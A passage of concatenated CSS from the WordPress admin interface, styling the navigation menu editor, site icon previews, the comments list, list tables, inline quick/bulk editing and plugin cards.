	}

	#wpbody-content #menu-settings-column {
		display: block;
		width: 100%;
		float: none;
		margin-left: 0;
	}

	#side-sortables .add-menu-item-tabs {
		margin: 15px 0 14px;
	}

	ul.add-menu-item-tabs li.tabs {
		padding: 13px 15px 14px;
	}

	.nav-menus-php .customlinkdiv .howto input {
		width: 65%;
	}

	.nav-menus-php .quick-search {
		width: 85%;
	}

	#menu-management-liquid {
		margin-top: 25px;
	}

	.nav-menus-php .menu-name-label.howto span {
		margin-top: 13px
	}

	#menu-name {
		width: 100%;
	}

	.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action {
		padding-top: 1em;
	}

	.nav-menus-php .delete-action {
		font-size: 14px;
		line-height: 2.14285714;
	}

	.menu-item-bar .menu-item-handle,
	.menu-item-settings,
	.description-wide {
		width: auto;
	}

	.menu-item-settings {
		padding: 10px;
	}

	.menu-item-settings .description-thin,
	.menu-item-settings .description-wide {
		width: 100%;
	}

	.menu-item-settings input {
		width: 100%;
	}

	.menu-item-settings input[type="checkbox"],
	.menu-item-settings input[type="radio"] {
		width: 25px;
	}

	.menu-settings-group {
		padding-left: 0;
		overflow: visible;
	}

	.menu-settings-group-name {
		float: none;
		width: auto;
		margin-left: 0;
		margin-bottom: 15px;
	}

	.menu-settings-input {
		float: none;
		margin-bottom: 15px;
	}

	.menu-edit .checkbox-input {
		margin-top: 0;
	}

	.manage-menus select {
		margin: 0.5em 0;
	}

	.wp-core-ui .manage-menus .button {
		margin-bottom: 0;
	}

	.widefat .menu-locations .menu-location-title {
		padding-top: 16px;
	}
}

@media only screen and (min-width: 783px) {
    @supports (position: sticky) and (scroll-margin-bottom: 130px) {

		#nav-menu-footer {
                position: sticky;
				bottom: 0;
				z-index: 10;
				box-shadow: 0 -1px 0 0 #ddd;
        }

        #save_menu_header {
                display: none;
        }
    }
}

@media only screen and (max-width: 768px) {
	/* menu locations */
	#menu-locations-wrap .widefat {
		width: 100%;
	}

	.bulk-select-button {
		padding: 5px 10px;
	}
}
/*! This file is auto-generated */
.site-icon-preview .favicon-preview{margin:5px 0 20px;overflow:hidden;position:relative;max-width:180px}.site-icon-preview .browser-title,.site-icon-preview .favicon{height:16px;left:88px;overflow:hidden;position:absolute;top:16px}.site-icon-preview .favicon{width:16px}.site-icon-preview .browser-title{left:109px;width:72px;white-space:nowrap}.site-icon-preview .app-icon-preview{background-color:#000;border-radius:16px;height:64px;overflow:hidden;width:64px;margin-top:5px}.site-icon-preview .app-icon-preview,.site-icon-preview .favicon{direction:ltr}.customize-control-site_icon .favicon-preview{float:left;margin-right:12px;margin-bottom:0}.customize-control-site_icon .app-icon-preview{margin-top:9px}.site-icon-section button.reset{color:#b32d2e;text-decoration:none;border-color:transparent;box-shadow:none;background:0 0}.site-icon-section button.reset:focus,.site-icon-section button.reset:hover{background:#b32d2e;color:#fff;border-color:#b32d2e;box-shadow:0 0 0 1px #b32d2e}.site-icon-section .action-buttons{display:flex;flex-wrap:wrap;gap:10px}.response-links {
	display: block;
	margin-bottom: 1em;
}

.response-links a {
	display: block;
}

.response-links a.comments-edit-item-link {
	font-weight: 600;
}

.response-links a.comments-view-item-link {
	font-size: 12px;
}

.post-com-count-wrapper strong {
	font-weight: 400;
}

.comments-view-item-link {
	display: inline-block;
	clear: both;
}

.column-response .post-com-count-wrapper,
.column-comments .post-com-count-wrapper {
	white-space: nowrap;
	word-wrap: normal;
}

/* comments bubble common */
.column-response .post-com-count,
.column-comments .post-com-count {
	display: inline-block;
	vertical-align: top;
}

/* comments bubble approved */
.column-response .post-com-count-no-comments,
.column-response .post-com-count-approved,
.column-comments .post-com-count-no-comments,
.column-comments .post-com-count-approved {
	margin-top: 5px;
}

.column-response .comment-count-no-comments,
.column-response .comment-count-approved,
.column-comments .comment-count-no-comments,
.column-comments .comment-count-approved {
	box-sizing: border-box;
	display: block;
	padding: 0 8px;
	min-width: 24px;
	height: 2em;
	border-radius: 5px;
	background-color: #646970;
	color: #fff;
	font-size: 11px;
	line-height: 1.90909090;
	text-align: center;
}

.column-response .post-com-count-no-comments:after,
.column-response .post-com-count-approved:after,
.column-comments .post-com-count-no-comments:after,
.column-comments .post-com-count-approved:after {
	content: "";
	display: block;
	margin-left: 8px;
	width: 0;
	height: 0;
	border-top: 5px solid #646970;
	border-right: 5px solid transparent;
}

.column-response a.post-com-count-approved:hover .comment-count-approved,
.column-response a.post-com-count-approved:focus .comment-count-approved,
.column-comments a.post-com-count-approved:hover .comment-count-approved,
.column-comments a.post-com-count-approved:focus .comment-count-approved {
	background: #2271b1;
}

.column-response a.post-com-count-approved:hover:after,
.column-response a.post-com-count-approved:focus:after,
.column-comments a.post-com-count-approved:hover:after,
.column-comments a.post-com-count-approved:focus:after {
	border-top-color: #2271b1;
}

/* @todo: consider to use a single rule for these counters and the admin menu counters. */
.column-response .post-com-count-pending,
.column-comments .post-com-count-pending {
	position: relative;
	left: -3px;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border: 2px solid #fff;
	border-radius: 11px;
	background: #d63638;
	color: #fff;
	font-size: 9px;
	line-height: 1.88888888;
	text-align: center;
}

.column-response .post-com-count-no-pending,
.column-comments .post-com-count-no-pending {
	display: none;
}

/* comments */

.commentlist li {
	padding: 1em 1em .2em;
	margin: 0;
	border-bottom: 1px solid #c3c4c7;
}

.commentlist li li {
	border-bottom: 0;
	padding: 0;
}

.commentlist p {
	padding: 0;
	margin: 0 0 .8em;
}

#submitted-on,
.submitted-on {
	color: #50575e;
}

/* reply to comments */
#replyrow td {
	padding: 2px;
}

#replysubmit {
	margin: 0;
	padding: 5px 7px 10px;
	overflow: hidden;
}

#replysubmit .reply-submit-buttons {
	margin-bottom: 0;
}

#replysubmit .button {
	margin-right: 5px;
}

#replysubmit .spinner {
	float: none;
	margin: -4px 0 0;
}

#replyrow.inline-edit-row fieldset.comment-reply {
	font-size: inherit;
	line-height: inherit;
}

#replyrow legend {
	margin: 0;
	padding: .2em 5px 0;
	font-size: 13px;
	line-height: 1.4;
	font-weight: 600;
}

#replyrow.inline-edit-row label {
	display: inline;
	vertical-align: baseline;
	line-height: inherit;
}

#edithead .inside,
#commentsdiv #edithead .inside {
	float: left;
	padding: 3px 0 2px 5px;
	margin: 0;
	text-align: center;
}

#edithead .inside input {
	width: 180px;
}

#edithead label {
	padding: 2px 0;
}

#replycontainer {
	padding: 5px;
}

#replycontent {
	height: 120px;
	box-shadow: none;
}

#replyerror {
	border-color: #dcdcde;
	background-color: #f6f7f7;
}

/* @todo: is this used? */
.commentlist .avatar {
	vertical-align: text-top;
}

#the-comment-list tr.undo,
#the-comment-list div.undo {
	background-color: #f6f7f7;
}

#the-comment-list .unapproved th,
#the-comment-list .unapproved td {
	background-color: #fcf9e8;
}

#the-comment-list .unapproved th.check-column {
	border-left: 4px solid #d63638;
}

#the-comment-list .unapproved th.check-column input {
	margin-left: 4px;
}

#the-comment-list .approve a {
	color: #007017;
}

#the-comment-list .unapprove a {
	color: #996800;
}

#the-comment-list th,
#the-comment-list td {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

#the-comment-list tr:last-child th,
#the-comment-list tr:last-child td {
	box-shadow: none;
}

#the-comment-list tr.unapproved + tr.approved th,
#the-comment-list tr.unapproved + tr.approved td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
}

/* table vim shortcuts */
.vim-current,
.vim-current th,
.vim-current td {
	background-color: #f0f6fc !important;
}

th .comment-grey-bubble {
	width: 16px;
	/* Make sure the link clickable area fills the entire table header. */
	position: relative;
	top: 2px;
}

th .comment-grey-bubble:before {
	content: "\f101";
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	left: -4px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

/*------------------------------------------------------------------------------
  10.0 - List Posts (/Pages/etc)
------------------------------------------------------------------------------*/

table.fixed {
	table-layout: fixed;
}

.fixed .column-rating,
.fixed .column-visible {
	width: 8%;
}

.fixed .column-posts,
.fixed .column-parent,
.fixed .column-links,
.fixed .column-author,
.fixed .column-format {
	width: 10%;
}

.fixed .column-date {
	width: 14%;
}

.column-date span[title] {
	-webkit-text-decoration: dotted underline;
	text-decoration: dotted underline;
}

.fixed .column-posts {
	width: 74px;
}

.fixed .column-role,
.fixed .column-posts {
	-webkit-hyphens: auto;
	hyphens: auto;
}

.fixed .column-comment .comment-author {
	display: none;
}

.fixed .column-response,
.fixed .column-categories,
.fixed .column-tags,
.fixed .column-rel,
.fixed .column-role {
	width: 15%;
}

.fixed .column-slug {
	width: 25%;
}

.fixed .column-locations {
	width: 35%;
}

.fixed .column-comments {
	width: 5.5em;
	text-align: left;
}

.fixed .column-comments .vers {
	padding-left: 3px;
}

td.column-title strong,
td.plugin-title strong {
	display: block;
	margin-bottom: .2em;
	font-size: 14px;
}

td.column-title p,
td.plugin-title p {
	margin: 6px 0;
}

/* Media file column */
table.media .column-title .media-icon {
	float: left;
	min-height: 60px;
	margin: 0 9px 0 0;
}

table.media .column-title .media-icon img {
	max-width: 60px;
	height: auto;
	vertical-align: top; /* Remove descender white-space. */
}

table.media .column-title .has-media-icon ~ .row-actions {
	margin-left: 70px; /* 60px image + margin */
}

table.media .column-title .filename {
	margin-bottom: 0.2em;
}

/* Media Copy to clipboard row action */
.media .row-actions .copy-to-clipboard-container {
	display: inline;
	position: relative;
}

.media .row-actions .copy-to-clipboard-container .success {
	position: absolute;
	left: 50%;
	transform: translate(-50%, -100%);
	background: #000;
	color: #fff;
	border-radius: 5px;
	margin: 0;
	padding: 2px 5px;
}

/* @todo: pick a consistent list table selector */
.wp-list-table a {
	transition: none;
}

#the-list tr:last-child td,
#the-list tr:last-child th {
	border-bottom: none !important;
	box-shadow: none;
}

#comments-form .fixed .column-author {
	width: 20%;
}

#commentsdiv.postbox .inside {
	margin: 0;
	padding: 0;
}

#commentsdiv .inside .row-actions {
	line-height: 1.38461538;
}

#commentsdiv .inside .column-author {
	width: 25%;
}

#commentsdiv .column-comment p {
	margin: 0.6em 0;
	padding: 0;
}

#commentsdiv #replyrow td {
	padding: 0;
}

#commentsdiv p {
	padding: 8px 10px;
	margin: 0;
}

#commentsdiv .comments-box {
	border: 0 none;
}

#commentsdiv .comments-box thead th,
#commentsdiv .comments-box thead td {
	background: transparent;
	padding: 0 7px 4px;
}

#commentsdiv .comments-box tr:last-child td {
	border-bottom: 0 none;
}

#commentsdiv #edithead .inside input {
	width: 160px;
}

.sorting-indicators {
	display: grid;
}

.sorting-indicator {
	display: block;
	width: 10px;
	height: 4px;
	margin-top: 4px;
	margin-left: 7px;
}

.sorting-indicator:before {
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: -4px;
	left: -8px;
	line-height: 0.5;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #a7aaad;
}

.sorting-indicator.asc:before {
	content: "\f142";
}

.sorting-indicator.desc:before {
	content: "\f140";
}

th.sorted.desc .sorting-indicator.desc:before {
	color: #1d2327;
}

th.sorted.asc .sorting-indicator.asc:before {
	color: #1d2327;
}

th.sorted.asc a:focus .sorting-indicator.asc:before,
th.sorted.asc:hover .sorting-indicator.asc:before,
th.sorted.desc a:focus .sorting-indicator.desc:before,
th.sorted.desc:hover .sorting-indicator.desc:before {
	color: #a7aaad;
}

th.sorted.asc a:focus .sorting-indicator.desc:before,
th.sorted.asc:hover .sorting-indicator.desc:before,
th.sorted.desc a:focus .sorting-indicator.asc:before,
th.sorted.desc:hover .sorting-indicator.asc:before {
	color: #1d2327;
}

.wp-list-table .toggle-row {
	position: absolute;
	right: 8px;
	top: 10px;
	display: none;
	padding: 0;
	width: 40px;
	height: 40px;
	border: none;
	outline: none;
	background: transparent;
}

.wp-list-table .toggle-row:hover {
	cursor: pointer;
}

.wp-list-table .toggle-row:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-list-table .toggle-row:active {
	box-shadow: none;
}

.wp-list-table .toggle-row:before {
	position: absolute;
	top: -5px;
	left: 10px;
	border-radius: 50%;
	display: block;
	padding: 1px 2px 1px 0;
	color: #3c434a; /* same as table headers sort arrows */
	content: "\f140";
	font: normal 20px/1 dashicons;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	speak: never;
}

.wp-list-table .is-expanded .toggle-row:before {
	content: "\f142";
}

.check-column {
	position: relative;
}

.check-column label {
	box-sizing: border-box;
	width: 100%;
	height: 100%;
	display: block;
	position: absolute;
	top: 0;
	left: 0;
}

.check-column input {
	position: relative;
	z-index: 1;
}

.check-column .label-covers-full-cell:hover + input:not(:disabled) {
	box-shadow: 0 0 0 1px #2271b1;
}

.check-column label:hover,
.check-column input:hover + label {
	background: rgba(0, 0, 0, 0.05);
}

.locked-indicator {
	display: none;
	margin-left: 6px;
	height: 20px;
	width: 16px;
}

.locked-indicator-icon:before {
	color: #8c8f94;
	content: "\f160";
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.locked-info {
	display: none;
	margin-top: 4px;
}

.locked-text {
	vertical-align: top;
}

.wp-locked .locked-indicator,
.wp-locked .locked-info {
	display: block;
}

tr.wp-locked .check-column label,
tr.wp-locked .check-column input[type="checkbox"],
tr.wp-locked .row-actions .inline,
tr.wp-locked .row-actions .trash {
	display: none;
}

#menu-locations-wrap .widefat {
	width: 60%;
}

.widefat th.sortable,
.widefat th.sorted {
	padding: 0;
}

th.sortable a,
th.sorted a {
	display: block;
	overflow: hidden;
	padding: 8px;
}

th.sortable a:focus,
th.sorted a:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

th.sortable a span,
th.sorted a span {
	float: left;
	cursor: pointer;
}

.tablenav-pages .current-page {
	margin: 0 2px 0 0;
	font-size: 13px;
	text-align: center;
}

.tablenav .total-pages {
	margin-right: 2px;
}

.tablenav #table-paging {
	margin-left: 2px;
}

.tablenav {
	clear: both;
	height: 30px;
	margin: 6px 0 4px;
	padding-top: 5px;
	vertical-align: middle;
}

.tablenav.themes {
	max-width: 98%;
}

.tablenav .tablenav-pages {
	float: right;
	margin: 0 0 9px;
}

.tablenav .no-pages,
.tablenav .one-page .pagination-links {
	display: none;
}

.tablenav .tablenav-pages .button,
.tablenav .tablenav-pages .tablenav-pages-navspan {
	display: inline-block;
	vertical-align: baseline;
	min-width: 30px;
	min-height: 30px;
	margin: 0;
	padding: 0 4px;
	font-size: 16px;
	line-height: 1.625; /* 26px */
	text-align: center;
}

.tablenav .displaying-num {
	margin-right: 7px;
}

.tablenav .one-page .displaying-num {
	display: inline-block;
	margin: 5px 0;
}

.tablenav .actions {
	padding: 0 8px 0 0;
}

.wp-filter .actions {
	display: inline-block;
	vertical-align: middle;
}

.tablenav .delete {
	margin-right: 20px;
}

/* This view-switcher is still used on multisite. */
.tablenav .view-switch {
	float: right;
	margin: 0 5px;
	padding-top: 3px;
}

.wp-filter .view-switch {
	display: inline-block;
	vertical-align: middle;
	padding: 12px 0;
	margin: 0 8px 0 2px;
}

.media-toolbar.wp-filter .view-switch {
	margin: 0 12px 0 2px;
}

.view-switch a {
	float: left;
	width: 28px;
	height: 28px;
	text-align: center;
	line-height: 1.84615384;
	text-decoration: none;
}

.view-switch a:before {
	color: #c3c4c7;
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.view-switch a:hover:before,
.view-switch a:focus:before {
	color: #787c82;
}

.view-switch a.current:before {
	color: #2271b1;
}

.view-switch .view-list:before {
	content: "\f163";
}

.view-switch .view-excerpt:before {
	content: "\f164";
}

.view-switch .view-grid:before {
	content: "\f509";
}

.filter {
	float: left;
	margin: -5px 0 0 10px;
}

.filter .subsubsub {
	margin-left: -10px;
	margin-top: 13px;
}
.screen-per-page {
	width: 4em;
}

#posts-filter .wp-filter {
	margin-bottom: 0;
}

#posts-filter fieldset {
	float: left;
	margin: 0 1.5ex 1em 0;
	padding: 0;
}

#posts-filter fieldset legend {
	padding: 0 0 .2em 1px;
}

p.pagenav {
	margin: 0;
	display: inline;
}

.pagenav span {
	font-weight: 600;
	margin: 0 6px;
}

.row-title {
	font-size: 14px !important;
	font-weight: 600;
}

.column-comment .comment-author {
	margin-bottom: 0.6em;
}

.column-author img,
.column-username img,
.column-comment .comment-author img {
	float: left;
	margin-right: 10px;
	margin-top: 1px;
}

.row-actions {
	color: #a7aaad;
	font-size: 13px;
	padding: 2px 0 0;
	position: relative;
	left: -9999em;
}

/* ticket #34150 */
.rtl .row-actions a {
	display: inline-block;
}

.row-actions .network_only,
.row-actions .network_active {
	color: #000;
}

.no-js .row-actions,
tr:hover .row-actions,
.mobile .row-actions,
.row-actions.visible,
.comment-item:hover .row-actions {
	position: static;
}

/* deprecated */
.row-actions-visible {
	padding: 2px 0 0;
}


/*------------------------------------------------------------------------------
  10.1 - Inline Editing
------------------------------------------------------------------------------*/

/*
.quick-edit* is for Quick Edit
.bulk-edit* is for Bulk Edit
.inline-edit* is for everything
*/

/*	Layout */

#wpbody-content .inline-edit-row fieldset {
	float: left;
	margin: 0;
	padding: 0 12px 0 0;
	width: 100%;
	box-sizing: border-box;
}

#wpbody-content .inline-edit-row td fieldset:last-of-type {
	padding-right: 0;
}

tr.inline-edit-row td {
	padding: 0;
	/* Prevents the focus style on .inline-edit-wrapper from being cutted-off */
	position: relative;
}

.inline-edit-wrapper {
	display: flow-root;
	padding: 0 12px;
	border: 1px solid transparent;
	border-radius: 4px;
}

.inline-edit-wrapper:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-left {
	width: 40%;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-right {
	width: 39%;
}

#wpbody-content .inline-edit-row-post .inline-edit-col-center {
	width: 20%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-left {
	width: 50%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-right,
#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
	width: 50%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-left {
	width: 30%;
}

#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
	width: 69%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
	float: right;
	width: 69%;
}

#wpbody-content .inline-edit-row-page .inline-edit-col-right {
	margin-top: 27px;
}

.inline-edit-row fieldset .inline-edit-group {
	clear: both;
	line-height: 2.5;
}

.inline-edit-row .submit {
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	clear: both;
	margin: 0;
	padding: 0.5em 0 1em;
}

.inline-edit-save.submit .button {
	margin-right: 8px;
}

.inline-edit-save .spinner {
	float: none;
	margin: 0;
}

.inline-edit-row .notice-error {
	box-sizing: border-box;
	min-width: 100%;
	margin-top: 1em;
}

.inline-edit-row .notice-error .error {
	margin: 0.5em 0;
	padding: 2px;
}

/*	Positioning */

/* Needs higher specificity for the padding */
#the-list .inline-edit-row .inline-edit-legend {
	margin: 0;
	padding: 0.2em 0;
	line-height: 2.5;
	font-weight: 600;
}

.inline-edit-row fieldset span.title,
.inline-edit-row fieldset span.checkbox-title {
	margin: 0;
	padding: 0;
}

.inline-edit-row fieldset label,
.inline-edit-row fieldset span.inline-edit-categories-label {
	display: block;
	margin: .2em 0;
	line-height: 2.5;
}

.inline-edit-row fieldset.inline-edit-date label {
	display: inline-block;
	margin: 0;
	vertical-align: baseline;
	line-height: 2;
}

.inline-edit-row fieldset label.inline-edit-tags {
	margin-top: 0;
}

.inline-edit-row fieldset label.inline-edit-tags span.title {
	margin: .2em 0;
	width: auto;
}

.inline-edit-row fieldset label span.title,
.inline-edit-row fieldset.inline-edit-date legend {
	display: block;
	float: left;
	width: 6em;
	line-height: 2.5;
}

#posts-filter fieldset.inline-edit-date legend {
	padding: 0;
}

.inline-edit-row fieldset label span.input-text-wrap,
.inline-edit-row fieldset .timestamp-wrap {
	display: block;
	margin-left: 6em;
}

.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
	width: auto;
	padding-right: 0.5em;
}

.inline-edit-row .inline-edit-or {
	margin: .2em 6px .2em 0;
	line-height: 2.5;
}

.inline-edit-row .input-text-wrap input[type=text] {
	width: 100%;
}

.inline-edit-row fieldset label input[type=checkbox] {
	vertical-align: middle;
}

.inline-edit-row fieldset label textarea {
	width: 100%;
	height: 4em;
	vertical-align: top;
}

#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
	max-width: 50%;
}

#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
	margin-right: 0.5em
}

.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input {
	width: 6em;
}

/*	Styling */
.inline-edit-row .inline-edit-legend {
	text-transform: uppercase;
}

/*	Specific Elements */
.inline-edit-row fieldset .inline-edit-date {
	float: left;
}

.inline-edit-row fieldset input[name=jj],
.inline-edit-row fieldset input[name=hh],
.inline-edit-row fieldset input[name=mn],
.inline-edit-row fieldset input[name=aa] {
	vertical-align: middle;
	text-align: center;
	padding: 0 4px;
}

.inline-edit-row fieldset label input.inline-edit-password-input {
	width: 8em;
}

#bulk-titles-list,
#bulk-titles-list li,
.inline-edit-row fieldset ul.cat-checklist li,
.inline-edit-row fieldset ul.cat-checklist input {
	margin: 0;
	position: relative; /* RTL fix, #WP27629 */
}

.inline-edit-row fieldset ul.cat-checklist input {
	margin-top: -1px;
	margin-left: 3px;
}

.inline-edit-row fieldset label input.inline-edit-menu-order-input {
	width: 3em;
}

.inline-edit-row fieldset label input.inline-edit-slug-input {
	width: 75%;
}

.inline-edit-row #post_parent,
.inline-edit-row select[name="page_template"] {
	max-width: 80%;
}

.quick-edit-row-post fieldset label.inline-edit-status {
	float: left;
}

#bulk-titles,
ul.cat-checklist {
	height: 14em;
	border: 1px solid #ddd;
	margin: 0 0 5px;
	padding: 0.2em 5px;
	overflow-y: scroll;
}

ul.cat-checklist input[name="post_category[]"]:indeterminate::before {
	content: '';
	border-top: 2px solid grey;
	width: 65%;
	height: 2px;
	position: absolute;
	top: calc( 50% + 1px );
	left: 50%;
	transform: translate( -50%, -50% );
}

#bulk-titles .ntdelbutton,
#bulk-titles .ntdeltitle,
.inline-edit-row fieldset ul.cat-checklist label {
	display: inline-block;
	margin: 0;
	padding: 3px 0;
	line-height: 20px;
	vertical-align: top;
}

#bulk-titles .ntdelitem {
	padding-left: 23px;
}

#bulk-titles .ntdelbutton {
	width: 26px;
	height: 26px;
	margin: 0 0 0 -26px;
	text-align: center;
	border-radius: 3px;
}

#bulk-titles .ntdelbutton:before {
	display: inline-block;
	vertical-align: top;
}

#bulk-titles .ntdelbutton:focus {
	box-shadow: 0 0 0 2px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/*------------------------------------------------------------------------------
  17.0 - Plugins
------------------------------------------------------------------------------*/

.plugins tbody th.check-column,
.plugins tbody {
	padding: 8px 0 0 2px;
}

.plugins tbody th.check-column input[type=checkbox] {
	margin-top: 4px;
}

.updates-table .plugin-title p {
	margin-top: 0;
}

.plugins thead td.check-column,
.plugins tfoot td.check-column,
.plugins .inactive th.check-column {
	padding-left: 6px;
}

.plugins,
.plugins th,
.plugins td {
	color: #000;
}

.plugins tr {
	background: #fff;
}

.plugins p {
	margin: 0 4px;
	padding: 0;
}

.plugins .desc p {
	margin: 0 0 8px;
}

.plugins td.desc {
	line-height: 1.5;
}

.plugins .desc ul,
.plugins .desc ol {
	margin: 0 0 0 2em;
}

.plugins .desc ul {
	list-style-type: disc;
}

.plugins .row-actions {
	font-size: 13px;
	padding: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th {
	padding: 10px 9px;
}

.plugins .active td,
.plugins .active th {
	background-color: #f0f6fc;
}

.plugins .update th,
.plugins .update td {
	border-bottom: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th,
.plugin-install #the-list td,
.upgrade .plugins td,
.upgrade .plugins th {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.plugins tr.active.plugin-update-tr + tr.inactive th,
.plugins tr.active.plugin-update-tr + tr.inactive td,
.plugins tr.active + tr.inactive th,
.plugins tr.active + tr.inactive td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde;
}

.plugins .update td,
.plugins .update th,
.upgrade .plugins tr:last-of-type td,
.upgrade .plugins tr:last-of-type th,
.plugins tr.active + tr.inactive.update th,
.plugins tr.active + tr.inactive.update td,
.plugins .updated td,
.plugins .updated th,
.plugins tr.active + tr.inactive.updated th,
.plugins tr.active + tr.inactive.updated td {
	box-shadow: none;
}

.plugins .active th.check-column,
.plugin-update-tr.active td {
	border-left: 4px solid #72aee6;
}

.wp-list-table.plugins .plugin-title,
.wp-list-table.plugins .theme-title {
	padding-right: 12px;
	white-space: nowrap;
}

.plugins .plugin-title img,
.plugins .plugin-title .dashicons {
	float: left;
	padding: 0 10px 0 0;
	width: 64px;
	height: 64px;
}

.plugins .plugin-title .dashicons:before {
	padding: 2px;
	background-color: #f0f0f1;
	box-shadow: inset 0 0 10px rgba(167, 170, 173, 0.15);
	font-size: 60px;
	color: #c3c4c7;
}

#update-themes-table .plugin-title img,
#update-themes-table .plugin-title .dashicons {
	width: 85px;
}

.plugins .column-auto-updates {
	width: 14.2em;
}

.plugins .inactive .plugin-title strong {
	font-weight: 400;
}

.plugins .second,
.plugins .row-actions {
	padding: 0 0 5px;
}

.plugins .row-actions {
	white-space: normal;
	min-width: 12em;
}

.plugins .update .second,
.plugins .update .row-actions,
.plugins .updated .second,
.plugins .updated .row-actions {
	padding-bottom: 0;
}

.plugins-php .widefat tfoot th,
.plugins-php .widefat tfoot td {
	border-top-style: solid;
	border-top-width: 1px;
}

.plugins .plugin-update-tr .plugin-update {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
	overflow: hidden; /* clearfix */
	padding: 0;
}

.plugins .plugin-update-tr .notice,
.plugins .plugin-update-tr div[class="update-message"] { /* back-compat for pre-4.6 */
	margin: 5px 20px 15px 40px;
}

.plugins .notice p {
	margin: 0.5em 0;
}

.plugins .plugin-description a,
.plugins .plugin-update a,
.updates-table .plugin-title a {
	text-decoration: underline;
}

.plugins tr.paused th.check-column {
	border-left: 4px solid #b32d2e;
}

.plugins tr.paused th,
.plugins tr.paused td {
	background-color: #f6f7f7;
}

.plugins tr.paused .plugin-title,
.plugins .paused .dashicons-warning {
	color: #b32d2e;
}

.plugins .paused .error-display p,
.plugins .paused .error-display code {
	font-size: 90%;
	color: rgba(0, 0, 0, 0.7);
}

.plugins .resume-link {
	color: #b32d2e;
}

.plugin-card .update-now:before {
	color: #d63638;
	content: "\f463";
	display: inline-block;
	font: normal 20px/1 dashicons;
	margin: -3px 5px 0 -2px;
	speak: never;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	vertical-align: middle;
}

.plugin-card .updating-message:before {
	content: "\f463";
	animation: rotation 2s infinite linear;
}

@keyframes rotation {
	0% {
		transform: rotate(0deg);
	}
	100% {
		transform: rotate(359deg);
	}
}

.plugin-card .updated-message:before {
	color: #68de7c;
	content: "\f147";
}

.plugin-install-php #the-list {
	display: flex;
	flex-wrap: wrap;
}

.plugin-install-php .plugin-card {
	display: flex;
	flex-direction: column;
	justify-content: space-between;
}

.plugin-install-php h2 {
	clear: both;
}

.plugin-install-php h3 {
	margin: 2.5em 0 8px;
}

.plugin-install-php .wp-filter {
	margin-bottom: 0;
}

/* Plugin card table view */
.plugin-group {
	overflow: hidden; /* clearfix */
	margin-top: 1.5em;
}

.plugin-group h3 {
	margin-top: 0;
}

.plugin-card {
	float: left;
	margin: 0 8px 16px;
	width: 48.5%;
	width: calc( 50% - 8px );
	background-color: #fff;
	border: 1px solid #dcdcde;
	box-sizing: border-box;
}

.plugin-card:nth-child(odd) {
	clear: both;
	margin-left: 0;
}

.plugin-card:nth-child(even) {
	margin-right: 0;
}

@media screen and (min-width: 1600px) and ( max-width: 2299px ) {
	.plugin-card {
		width: 30%;
		width: calc( 33.1% - 8px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-left: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-right: 8px;
	}

	.plugin-card:nth-child(3n+1) {
		clear: both;
		margin-left: 0;
	}

	.plugin-card:nth-child(3n) {
		margin-right: 0;
	}
}

@media screen and (min-width: 2300px) {
	.plugin-card {
		width: 25%;
		width: calc( 25% - 12px );
	}

	.plugin-card:nth-child(odd) {
		clear: none;
		margin-left: 8px;
	}

	.plugin-card:nth-child(even) {
		margin-right: 8px;
	}

	.plugin-card:nth-child(4n+1) {
		clear: both;
		margin-left: 0;
	}

	.plugin-card:nth-child(4n) {
		margin-right: 0;
	}
}

.plugin-card-top {
	position: relative;
	padding: 20px 20px 10px;
	min-height: 135px;
}

div.action-links,
.plugin-action-buttons {
	margin: 0; /* Override existing margins */
}

.plugin-card h3 {
	margin: 0 12px 12px 0;
	font-size: 18px;
	line-height: 1.3;
